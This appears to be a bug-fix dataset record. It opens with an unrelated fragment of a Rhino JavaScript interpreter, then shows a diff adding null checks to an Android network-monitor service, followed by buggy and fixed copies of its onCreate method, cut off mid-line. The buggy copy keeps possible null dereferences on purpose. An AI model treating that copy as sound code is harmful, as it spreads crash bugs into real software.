stack[stackTop] = DBL_MRK; sDbl[stackTop] = getInt(iCode, pc + 1); pc += 4; break; case TokenStream.NUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = theData. itsDoubleTable[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.NAME : stack[++stackTop] = ScriptRuntime.name (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEINC : stack[++stackTop] = ScriptRuntime.postIncrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEDEC : stack[++stackTop] = ScriptRuntime.postDecrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.SETVAR : slot = (iCode[++pc] & 0xFF); stack[VAR_SHFT + slot] = stack[stackTop]; sDbl[VAR_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.GETVAR : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; break; case TokenStream.VARINC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) + 1.0; break; case TokenStream.VARDEC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) - 1.0; break; case TokenStream.ZERO : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 0; break; case TokenStream.ONE : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 1; break; case TokenStream.NULL : stack[++stackTop] = null; break; case TokenStream.THIS : stack[++stackTop] = thisObj; break; case TokenStream.THISFN : stack[++stackTop] = fnOrScript; break; case TokenStream.FALSE : stack[++stackTop] = Boolean.FALSE; break; case TokenStream.TRUE : stack[++stackTop] = Boolean.TRUE; break; case TokenStream.UNDEFINED : stack[++stackTop] = Undefined.instance; break; case TokenStream.THROW : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; throw new JavaScriptException(result); case TokenStream.JTHROW : result = stack[stackTop]; // No need to check for DBL_MRK: result is Exception --stackTop; if (result instanceof JavaScriptException) throw (JavaScriptException)result; else throw (RuntimeException)result; case TokenStream.ENTERWITH : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; scope = ScriptRuntime.enterWith(lhs, scope); break; case TokenStream.LEAVEWITH : scope = ScriptRuntime.leaveWith(scope); break; case TokenStream.NEWSCOPE : stack[++stackTop] = ScriptRuntime.newScope(); break; case TokenStream.ENUMINIT : slot = (iCode[++pc] & 0xFF); lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; stack[LOCAL_SHFT + slot] = ScriptRuntime.initEnum(lhs, scope); break; case TokenStream.ENUMNEXT : slot = (iCode[++pc] & 0xFF); val = stack[LOCAL_SHFT + slot]; ++stackTop; stack[stackTop] = ScriptRuntime. nextEnum((Enumeration)val); break; case TokenStream.GETPROTO : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProto(lhs, scope); break; case TokenStream.GETPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs); break; case TokenStream.GETSCOPEPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs, scope); break; case TokenStream.SETPROTO : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProto(lhs, rhs, scope); break; case TokenStream.SETPARENT : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setParent(lhs, rhs, scope); break; case TokenStream.SCOPE : stack[++stackTop] = scope; break; case TokenStream.CLOSURE : i = getShort(iCode, pc + 1); stack[++stackTop] = new InterpretedFunction( theData.itsNestedFunctions[i], scope, cx); createFunctionObject( (InterpretedFunction)stack[stackTop], scope); pc += 2; break; case TokenStream.OBJECT : i = getShort(iCode, pc + 1); stack[++stackTop] = theData.itsRegExpLiterals[i]; pc += 2; break; case TokenStream.SOURCEFILE : cx.interpreterSourceFile = theData.itsSourceFile; break; case TokenStream.LINE : case TokenStream.BREAKPOINT : i = getShort(iCode, pc + 1); cx.interpreterLine = i; if (frame != null) frame.setLineNumber(i); if ((iCode[pc] & 0xff) == TokenStream.BREAKPOINT || cx.inLineStepMode) { cx.getDebuggableEngine(). getDebugger().handleBreakpointHit(cx); } pc += 2; break; default : dumpICode(theData); throw new RuntimeException("Unknown icode : " + (iCode[pc] & 0xff) + " @ pc : " + pc); } pc++; } catch (Throwable ex) { cx.interpreterSecurityDomain = null; if (instructionThreshold != 0) { if (instructionCount < 0) { // throw during function call instructionCount = cx.instructionCount; } else { // throw during any other operation instructionCount += pc - pcPrevBranch; cx.instructionCount = instructionCount; } } final int SCRIPT_THROW = 0, ECMA = 1, RUNTIME = 2, OTHER = 3; int exType; Object errObj; // Object seen by catch if (ex instanceof JavaScriptException) { errObj = ScriptRuntime. unwrapJavaScriptException((JavaScriptException)ex); exType = SCRIPT_THROW; } else if (ex instanceof EcmaError) { // an offical ECMA error object, errObj = ((EcmaError)ex).getErrorObject(); exType = ECMA; } else if (ex instanceof RuntimeException) { errObj = ex; exType = RUNTIME; } else { errObj = ex; // Error instance exType = OTHER; } if (exType != OTHER && cx.debugger != null) { cx.debugger.handleExceptionThrown(cx, errObj); } boolean rethrow = true; if (exType != OTHER && tryStackTop > 0) { --tryStackTop; if (exType == SCRIPT_THROW || exType == ECMA) { // Check for catch only for // JavaScriptException and EcmaError pc = catchStack[tryStackTop * 2]; if (pc != 0) { // Has catch block rethrow = false; } } if (rethrow) { pc = catchStack[tryStackTop * 2 + 1]; if (pc != 0) { // has finally block rethrow = false; errObj = ex; } } } if (rethrow) { if (frame != null) cx.popFrame(); if (exType == SCRIPT_THROW) throw (JavaScriptException)ex; if (exType == ECMA || exType == RUNTIME) throw (RuntimeException)ex; throw (Error)ex; } // We caught an exception, // Notify instruction observer if necessary // and point pcPrevBranch to start of catch/finally block if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { // Note: this can throw Error cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc; // prepare stack and restore this function's security domain. scope = (Scriptable)stack[TRY_SCOPE_SHFT + tryStackTop]; stackTop = 0; stack[0] = errObj; cx.interpreterSecurityDomain = theData.securityDomain; } } cx.interpreterSecurityDomain = savedSecurityDomain; if (frame != null) cx.popFrame(); if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } cx.instructionCount = instructionCount; } return result; }
diff --git a/src/org/pixmob/freemobile/netstat/MonitorService.java b/src/org/pixmob/freemobile/netstat/MonitorService.java index eb494c3a..4bebd29c 100644 --- a/src/org/pixmob/freemobile/netstat/MonitorService.java +++ b/src/org/pixmob/freemobile/netstat/MonitorService.java @@ -1,554 +1,554 @@ /* * Copyright (C) 2012 Pixmob (http://github.com/pixmob) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.pixmob.freemobile.netstat; import static org.pixmob.freemobile.netstat.BuildConfig.DEBUG; import static org.pixmob.freemobile.netstat.Constants.ACTION_NOTIFICATION; import static org.pixmob.freemobile.netstat.Constants.SP_KEY_ENABLE_NOTIF_ACTIONS; import static org.pixmob.freemobile.netstat.Constants.SP_KEY_STAT_NOTIF_SOUND; import static org.pixmob.freemobile.netstat.Constants.SP_KEY_THEME; import static org.pixmob.freemobile.netstat.Constants.SP_NAME; import static org.pixmob.freemobile.netstat.Constants.TAG; import static org.pixmob.freemobile.netstat.Constants.THEME_COLOR; import static org.pixmob.freemobile.netstat.Constants.THEME_DEFAULT; import static org.pixmob.freemobile.netstat.Constants.THEME_PIE; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.BlockingQueue; import org.pixmob.freemobile.netstat.content.NetstatContract.Events; import org.pixmob.freemobile.netstat.util.IntentFactory; import android.app.Notification; import android.app.PendingIntent; import android.app.Service; import android.content.BroadcastReceiver; import android.content.ContentResolver; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.Uri; import android.os.BatteryManager; import android.os.IBinder; import android.os.PowerManager; import android.os.Process; import android.support.v4.app.NotificationCompat; import android.telephony.PhoneStateListener; import android.telephony.ServiceState; import android.telephony.TelephonyManager; import android.text.TextUtils; import android.util.Log; import android.util.SparseIntArray; /** * This foreground service is monitoring phone state and battery level. A * notification shows which mobile network is the phone is connected to. * @author Pixmob */ public class MonitorService extends Service implements OnSharedPreferenceChangeListener { /** * Notification themes. */ private static final Map<String, Theme> THEMES = new HashMap<String, Theme>(3); /** * Match network types from {@link TelephonyManager} with the corresponding * string. */ private static final SparseIntArray NETWORK_TYPE_STRINGS = new SparseIntArray(8); /** * Special data used for terminating the PendingInsert worker thread. */ private static final Event STOP_PENDING_CONTENT_MARKER = new Event(); /** * This intent will open the main UI. */ private PendingIntent openUIPendingIntent; private PendingIntent networkOperatorSettingsPendingIntent; private IntentFilter batteryIntentFilter; private PowerManager pm; private TelephonyManager tm; private ConnectivityManager cm; private BroadcastReceiver screenMonitor; private PhoneStateListener phoneMonitor; private BroadcastReceiver connectionMonitor; private BroadcastReceiver batteryMonitor; private BroadcastReceiver shutdownMonitor; private Boolean lastWifiConnected; private Boolean lastMobileNetworkConnected; private boolean powerOn = true; private String lastMobileOperatorId; private String mobileOperatorId; private boolean mobileNetworkConnected; private int mobileNetworkType; private BlockingQueue<Event> pendingInsert; private SharedPreferences prefs; private Bitmap freeLargeIcon; private Bitmap orangeLargeIcon; static { NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_EDGE, R.string.network_type_edge); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_GPRS, R.string.network_type_gprs); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_HSDPA, R.string.network_type_hsdpa); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_HSPA, R.string.network_type_hspa); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_HSPAP, R.string.network_type_hspap); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_HSUPA, R.string.network_type_hsupa); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_UMTS, R.string.network_type_umts); NETWORK_TYPE_STRINGS.put(TelephonyManager.NETWORK_TYPE_UNKNOWN, R.string.network_type_unknown); THEMES.put(THEME_DEFAULT, new Theme(R.drawable.ic_stat_notify_service_free, R.drawable.ic_stat_notify_service_orange)); THEMES.put(THEME_COLOR, new Theme(R.drawable.ic_stat_notify_service_free_color, R.drawable.ic_stat_notify_service_orange_color)); THEMES.put(THEME_PIE, new Theme(R.drawable.ic_stat_notify_service_free_pie, R.drawable.ic_stat_notify_service_orange_pie)); } @Override public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) { if (SP_KEY_THEME.equals(key) || SP_KEY_ENABLE_NOTIF_ACTIONS.equals(key)) { updateNotification(false); } } @Override public void onCreate() { super.onCreate(); // Initialize and start a worker thread for inserting rows into the // application database. final Context c = getApplicationContext(); pendingInsert = new ArrayBlockingQueue<Event>(8); new PendingInsertWorker(c, pendingInsert).start(); // This intent is fired when the application notification is clicked. openUIPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(ACTION_NOTIFICATION), PendingIntent.FLAG_CANCEL_CURRENT); // This intent is only available as a Jelly Bean notification action in // order to open network operator settings. networkOperatorSettingsPendingIntent = PendingIntent.getActivity(this, 0, IntentFactory.networkOperatorSettings(this), PendingIntent.FLAG_CANCEL_CURRENT); // Watch screen light: is the screen on? screenMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; final IntentFilter screenIntentFilter = new IntentFilter(); screenIntentFilter.addAction(Intent.ACTION_SCREEN_ON); screenIntentFilter.addAction(Intent.ACTION_SCREEN_OFF); registerReceiver(screenMonitor, screenIntentFilter); // Watch Wi-Fi connections. cm = (ConnectivityManager) getSystemService(CONNECTIVITY_SERVICE); connectionMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (onConnectivityUpdated()) { updateEventDatabase(); } } }; final IntentFilter connectionIntentFilter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); registerReceiver(connectionMonitor, connectionIntentFilter); // Watch mobile connections. phoneMonitor = new PhoneStateListener() { @Override public void onDataConnectionStateChanged(int state, int networkType) { mobileNetworkType = networkType; updateNotification(false); } @Override public void onServiceStateChanged(ServiceState serviceState) { if (!DEBUG) { // Check if the SIM card is compatible. - if (TelephonyManager.SIM_STATE_READY == tm.getSimState()) { + if (tm != null && TelephonyManager.SIM_STATE_READY == tm.getSimState()) { final String rawMobOp = tm.getSimOperator(); final MobileOperator mobOp = MobileOperator.fromString(rawMobOp); if (!MobileOperator.FREE_MOBILE.equals(mobOp)) { Log.e(TAG, "SIM card is not compatible: " + rawMobOp); // The service is stopped, since the SIM card is not // compatible. stopSelf(); } } } - mobileNetworkConnected = serviceState.getState() == ServiceState.STATE_IN_SERVICE; + mobileNetworkConnected = serviceState != null && serviceState.getState() == ServiceState.STATE_IN_SERVICE; final boolean phoneStateUpdated = onPhoneStateUpdated(); if (phoneStateUpdated) { updateEventDatabase(); } updateNotification(phoneStateUpdated); } }; tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(phoneMonitor, PhoneStateListener.LISTEN_SERVICE_STATE | PhoneStateListener.LISTEN_DATA_CONNECTION_STATE); // Watch battery level. batteryMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; batteryIntentFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED); registerReceiver(batteryMonitor, batteryIntentFilter); pm = (PowerManager) getSystemService(POWER_SERVICE); shutdownMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { onDeviceShutdown(); } }; final IntentFilter shutdownIntentFilter = new IntentFilter(); shutdownIntentFilter.addAction(Intent.ACTION_SHUTDOWN); // HTC devices use a different Intent action: // http://stackoverflow.com/q/5076410/422906 shutdownIntentFilter.addAction("android.intent.action.QUICKBOOT_POWEROFF"); registerReceiver(shutdownMonitor, shutdownIntentFilter); prefs = getSharedPreferences(SP_NAME, MODE_PRIVATE); prefs.registerOnSharedPreferenceChangeListener(this); final int largeIconWidth = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_width); final int largeIconHeight = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_height); freeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_free_large), largeIconWidth, largeIconHeight, true); orangeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_orange_large), largeIconWidth, largeIconHeight, true); } @Override public void onDestroy() { super.onDestroy(); // Tell the PendingInsert worker thread to stop. try { pendingInsert.put(STOP_PENDING_CONTENT_MARKER); } catch (InterruptedException e) { Log.e(TAG, "Failed to stop PendingInsert worker thread", e); } // Stop listening to system events. unregisterReceiver(screenMonitor); tm.listen(phoneMonitor, PhoneStateListener.LISTEN_NONE); tm = null; unregisterReceiver(connectionMonitor); cm = null; unregisterReceiver(batteryMonitor); unregisterReceiver(shutdownMonitor); pm = null; // Remove the status bar notification. stopForeground(true); prefs.unregisterOnSharedPreferenceChangeListener(this); prefs = null; if (freeLargeIcon != null) { freeLargeIcon.recycle(); freeLargeIcon = null; } if (orangeLargeIcon != null) { orangeLargeIcon.recycle(); orangeLargeIcon = null; } } @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { // Update with current state. onConnectivityUpdated(); onPhoneStateUpdated(); updateNotification(false); return START_STICKY; } /** * Update the status bar notification. */ private void updateNotification(boolean playSound) { final MobileOperator mobOp = MobileOperator.fromString(mobileOperatorId); if (!mobileNetworkConnected) { // Not connected to a mobile network: plane mode may be enabled. stopForeground(true); return; } final NotificationCompat.Builder nBuilder = new NotificationCompat.Builder(getApplicationContext()); if (mobOp == null) { // Connected to a foreign mobile network. final String tickerText = getString(R.string.stat_connected_to_foreign_mobile_network); final String contentText = getString(R.string.notif_action_open_network_operator_settings); nBuilder.setTicker(tickerText).setContentText(contentText).setContentTitle(tickerText) .setSmallIcon(android.R.drawable.stat_sys_warning) .setPriority(NotificationCompat.PRIORITY_HIGH) .setContentIntent(networkOperatorSettingsPendingIntent).setWhen(0); } else { final String tickerText = String.format(getString(R.string.stat_connected_to_mobile_network), mobOp.toName(this)); final String contentText = String.format(getString(R.string.mobile_network_type), getString(NETWORK_TYPE_STRINGS.get(mobileNetworkType))); final int iconRes = getStatIcon(mobOp); nBuilder.setSmallIcon(iconRes).setLargeIcon(getStatLargeIcon(mobOp)).setTicker(tickerText) .setContentText(contentText).setContentTitle(tickerText) .setPriority(NotificationCompat.PRIORITY_LOW).setContentIntent(openUIPendingIntent) .setWhen(0); if (prefs.getBoolean(SP_KEY_ENABLE_NOTIF_ACTIONS, true)) { nBuilder.addAction(R.drawable.ic_stat_notify_action_network_operator_settings, getString(R.string.notif_action_open_network_operator_settings), networkOperatorSettingsPendingIntent); } } if (playSound) { final String rawSoundUri = prefs.getString(SP_KEY_STAT_NOTIF_SOUND, null); if (rawSoundUri != null) { final Uri soundUri = Uri.parse(rawSoundUri); nBuilder.setSound(soundUri); } } final Notification n = nBuilder.build(); startForeground(R.string.stat_connected_to_mobile_network, n); } private int getStatIcon(MobileOperator op) { final String themeKey = prefs.getString(SP_KEY_THEME, THEME_DEFAULT); Theme theme = THEMES.get(themeKey); if (theme == null) { theme = THEMES.get(THEME_DEFAULT); } if (MobileOperator.FREE_MOBILE.equals(op)) { return theme.freeIcon; } else if (MobileOperator.ORANGE.equals(op)) { return theme.orangeIcon; } return android.R.drawable.ic_dialog_alert; } private Bitmap getStatLargeIcon(MobileOperator op) { if (MobileOperator.FREE_MOBILE.equals(op)) { return freeLargeIcon; } else if (MobileOperator.ORANGE.equals(op)) { return orangeLargeIcon; } return null; } private void onDeviceShutdown() { Log.i(TAG, "Device is about to shut down"); powerOn = false; updateEventDatabase(); } /** * This method is called when the phone data connectivity is updated. */ private boolean onConnectivityUpdated() { // Get the Wi-Fi connectivity state. final NetworkInfo ni = cm.getNetworkInfo(ConnectivityManager.TYPE_WIFI); final boolean wifiNetworkConnected = ni != null && ni.isConnected(); // Prevent duplicated inserts. if (lastWifiConnected != null && lastWifiConnected.booleanValue() == wifiNetworkConnected) { return false; } lastWifiConnected = wifiNetworkConnected; Log.i(TAG, "Wifi state updated: connected=" + wifiNetworkConnected); return true; } /** * This method is called when the phone service state is updated. */ private boolean onPhoneStateUpdated() { mobileOperatorId = tm.getNetworkOperator(); if (TextUtils.isEmpty(mobileOperatorId)) { mobileOperatorId = null; } // Prevent duplicated inserts. if (lastMobileNetworkConnected != null && lastMobileOperatorId != null && lastMobileNetworkConnected.booleanValue() == mobileNetworkConnected && lastMobileOperatorId.equals(mobileOperatorId)) { return false; } lastMobileNetworkConnected = mobileNetworkConnected; lastMobileOperatorId = mobileOperatorId; Log.i(TAG, "Phone state updated: operator=" + mobileOperatorId + "; connected=" + mobileNetworkConnected); return true; } private void updateEventDatabase() { final Event e = new Event(); e.timestamp = System.currentTimeMillis(); e.screenOn = pm.isScreenOn(); e.batteryLevel = getBatteryLevel(); e.wifiConnected = Boolean.TRUE.equals(lastWifiConnected); e.mobileConnected = powerOn ? Boolean.TRUE.equals(lastMobileNetworkConnected) : false; e.mobileOperator = lastMobileOperatorId; e.powerOn = powerOn; try { pendingInsert.put(e); } catch (InterruptedException ex) { Log.w(TAG, "Failed to schedule event insertion", ex); } } private int getBatteryLevel() { if (batteryIntentFilter == null) { return 100; } final Intent i = registerReceiver(null, batteryIntentFilter); if (i == null) { return 100; } final int level = i.getIntExtra(BatteryManager.EXTRA_LEVEL, 0); final int scale = i.getIntExtra(BatteryManager.EXTRA_SCALE, 0); return scale == 0 ? 100 : (int) Math.round(level * 100d / scale); } /** * This internal thread is responsible for inserting data into the * application database. This thread will prevent the main loop from being * used for interacting with the database, which could cause * "Application Not Responding" dialogs. */ private static class PendingInsertWorker extends Thread { private final Context context; private final BlockingQueue<Event> pendingInsert; public PendingInsertWorker(final Context context, final BlockingQueue<Event> pendingInsert) { super("FreeMobileNetstat/PendingInsert"); setDaemon(true); this.context = context; this.pendingInsert = pendingInsert; } @Override public void run() { if (DEBUG) { Log.d(TAG, "PendingInsert worker thread is started"); } // Set a lower priority to prevent UI from lagging. Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND); final ContentValues cv = new ContentValues(7); final ContentResolver cr = context.getContentResolver(); final ContentValues lastCV = new ContentValues(7); long lastEventHashCode = 0; boolean running = true; while (running) { try { final Event e = pendingInsert.take(); if (STOP_PENDING_CONTENT_MARKER == e) { running = false; } else { e.write(cv); // Check the last inserted event hash code: // if the hash code is the same, the event is not // inserted. lastCV.putAll(cv); lastCV.remove(Events.TIMESTAMP); if (e.powerOn && lastCV.hashCode() == lastEventHashCode) { if (DEBUG) { Log.d(TAG, "Skip event insertion: " + e); } } else { if (DEBUG) { Log.d(TAG, "Inserting new event into database: " + e); } cr.insert(Events.CONTENT_URI, cv); } lastEventHashCode = lastCV.hashCode(); lastCV.clear(); } cv.clear(); } catch (InterruptedException e) { running = false; } catch (Exception e) { Log.e(TAG, "Pending insert failed", e); } } if (DEBUG) { Log.d(TAG, "PendingInsert worker thread is terminated"); } } } /** * Notification theme. * @author Pixmob */ private static class Theme { public final int freeIcon; public final int orangeIcon; public Theme(final int freeIcon, final int orangeIcon) { this.freeIcon = freeIcon; this.orangeIcon = orangeIcon; } } }
false
true
public void onCreate() { super.onCreate(); // Initialize and start a worker thread for inserting rows into the // application database. final Context c = getApplicationContext(); pendingInsert = new ArrayBlockingQueue<Event>(8); new PendingInsertWorker(c, pendingInsert).start(); // This intent is fired when the application notification is clicked. openUIPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(ACTION_NOTIFICATION), PendingIntent.FLAG_CANCEL_CURRENT); // This intent is only available as a Jelly Bean notification action in // order to open network operator settings. networkOperatorSettingsPendingIntent = PendingIntent.getActivity(this, 0, IntentFactory.networkOperatorSettings(this), PendingIntent.FLAG_CANCEL_CURRENT); // Watch screen light: is the screen on? screenMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; final IntentFilter screenIntentFilter = new IntentFilter(); screenIntentFilter.addAction(Intent.ACTION_SCREEN_ON); screenIntentFilter.addAction(Intent.ACTION_SCREEN_OFF); registerReceiver(screenMonitor, screenIntentFilter); // Watch Wi-Fi connections. cm = (ConnectivityManager) getSystemService(CONNECTIVITY_SERVICE); connectionMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (onConnectivityUpdated()) { updateEventDatabase(); } } }; final IntentFilter connectionIntentFilter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); registerReceiver(connectionMonitor, connectionIntentFilter); // Watch mobile connections. phoneMonitor = new PhoneStateListener() { @Override public void onDataConnectionStateChanged(int state, int networkType) { mobileNetworkType = networkType; updateNotification(false); } @Override public void onServiceStateChanged(ServiceState serviceState) { if (!DEBUG) { // Check if the SIM card is compatible. if (TelephonyManager.SIM_STATE_READY == tm.getSimState()) { final String rawMobOp = tm.getSimOperator(); final MobileOperator mobOp = MobileOperator.fromString(rawMobOp); if (!MobileOperator.FREE_MOBILE.equals(mobOp)) { Log.e(TAG, "SIM card is not compatible: " + rawMobOp); // The service is stopped, since the SIM card is not // compatible. stopSelf(); } } } mobileNetworkConnected = serviceState.getState() == ServiceState.STATE_IN_SERVICE; final boolean phoneStateUpdated = onPhoneStateUpdated(); if (phoneStateUpdated) { updateEventDatabase(); } updateNotification(phoneStateUpdated); } }; tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(phoneMonitor, PhoneStateListener.LISTEN_SERVICE_STATE | PhoneStateListener.LISTEN_DATA_CONNECTION_STATE); // Watch battery level. batteryMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; batteryIntentFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED); registerReceiver(batteryMonitor, batteryIntentFilter); pm = (PowerManager) getSystemService(POWER_SERVICE); shutdownMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { onDeviceShutdown(); } }; final IntentFilter shutdownIntentFilter = new IntentFilter(); shutdownIntentFilter.addAction(Intent.ACTION_SHUTDOWN); // HTC devices use a different Intent action: // http://stackoverflow.com/q/5076410/422906 shutdownIntentFilter.addAction("android.intent.action.QUICKBOOT_POWEROFF"); registerReceiver(shutdownMonitor, shutdownIntentFilter); prefs = getSharedPreferences(SP_NAME, MODE_PRIVATE); prefs.registerOnSharedPreferenceChangeListener(this); final int largeIconWidth = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_width); final int largeIconHeight = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_height); freeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_free_large), largeIconWidth, largeIconHeight, true); orangeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_orange_large), largeIconWidth, largeIconHeight, true); }
public void onCreate() { super.onCreate(); // Initialize and start a worker thread for inserting rows into the // application database. final Context c = getApplicationContext(); pendingInsert = new ArrayBlockingQueue<Event>(8); new PendingInsertWorker(c, pendingInsert).start(); // This intent is fired when the application notification is clicked. openUIPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(ACTION_NOTIFICATION), PendingIntent.FLAG_CANCEL_CURRENT); // This intent is only available as a Jelly Bean notification action in // order to open network operator settings. networkOperatorSettingsPendingIntent = PendingIntent.getActivity(this, 0, IntentFactory.networkOperatorSettings(this), PendingIntent.FLAG_CANCEL_CURRENT); // Watch screen light: is the screen on? screenMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; final IntentFilter screenIntentFilter = new IntentFilter(); screenIntentFilter.addAction(Intent.ACTION_SCREEN_ON); screenIntentFilter.addAction(Intent.ACTION_SCREEN_OFF); registerReceiver(screenMonitor, screenIntentFilter); // Watch Wi-Fi connections. cm = (ConnectivityManager) getSystemService(CONNECTIVITY_SERVICE); connectionMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (onConnectivityUpdated()) { updateEventDatabase(); } } }; final IntentFilter connectionIntentFilter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); registerReceiver(connectionMonitor, connectionIntentFilter); // Watch mobile connections. phoneMonitor = new PhoneStateListener() { @Override public void onDataConnectionStateChanged(int state, int networkType) { mobileNetworkType = networkType; updateNotification(false); } @Override public void onServiceStateChanged(ServiceState serviceState) { if (!DEBUG) { // Check if the SIM card is compatible. if (tm != null && TelephonyManager.SIM_STATE_READY == tm.getSimState()) { final String rawMobOp = tm.getSimOperator(); final MobileOperator mobOp = MobileOperator.fromString(rawMobOp); if (!MobileOperator.FREE_MOBILE.equals(mobOp)) { Log.e(TAG, "SIM card is not compatible: " + rawMobOp); // The service is stopped, since the SIM card is not // compatible. stopSelf(); } } } mobileNetworkConnected = serviceState != null && serviceState.getState() == ServiceState.STATE_IN_SERVICE; final boolean phoneStateUpdated = onPhoneStateUpdated(); if (phoneStateUpdated) { updateEventDatabase(); } updateNotification(phoneStateUpdated); } }; tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(phoneMonitor, PhoneStateListener.LISTEN_SERVICE_STATE | PhoneStateListener.LISTEN_DATA_CONNECTION_STATE); // Watch battery level. batteryMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { updateEventDatabase(); } }; batteryIntentFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED); registerReceiver(batteryMonitor, batteryIntentFilter); pm = (PowerManager) getSystemService(POWER_SERVICE); shutdownMonitor = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { onDeviceShutdown(); } }; final IntentFilter shutdownIntentFilter = 